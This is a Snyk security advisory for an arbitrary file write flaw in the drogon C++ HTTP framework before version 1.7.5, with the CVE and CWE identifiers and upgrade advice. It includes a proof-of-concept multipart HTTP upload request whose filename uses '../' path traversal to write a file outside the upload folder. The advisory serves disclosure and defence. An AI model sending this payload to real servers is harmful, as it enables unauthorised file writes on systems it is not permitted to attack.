Arbitrary File Write Affecting drogonframework/drogon package, versions [,1.7.5)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.32% (71st percentile)

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  • Snyk IDSNYK-UNMANAGED-DROGONFRAMEWORKDROGON-2407243
  • published13 Feb 2022
  • disclosed13 Feb 2022
  • creditSnyk Security Team

Introduced: 13 Feb 2022

CVE-2022-25297  (opens in a new tab)
CWE-59  (opens in a new tab)

How to fix?

Upgrade drogonframework/drogon to version 1.7.5 or higher.

Overview

drogonframework/drogon is a C++14/17-based HTTP application framework.

Affected versions of this package are vulnerable to Arbitrary File Write. The unsafe handling of file names during upload using HttpFile::save() method may enable attackers to write files to arbitrary locations outside the designated target folder.

PoC by Snyk

Based on the file_upload example.

POST /upload_endpoint HTTP/1.1
Host: localhost:8848
Content-Length: 150
Content-Type: multipart/form-data; boundary=----xxx
Connection: close

------xxx Content-Disposition: form-data; name="file"; filename="../../../../../../malicious-file" Content-Type: text/plain

pwned

------xxx--

CVSS Scores

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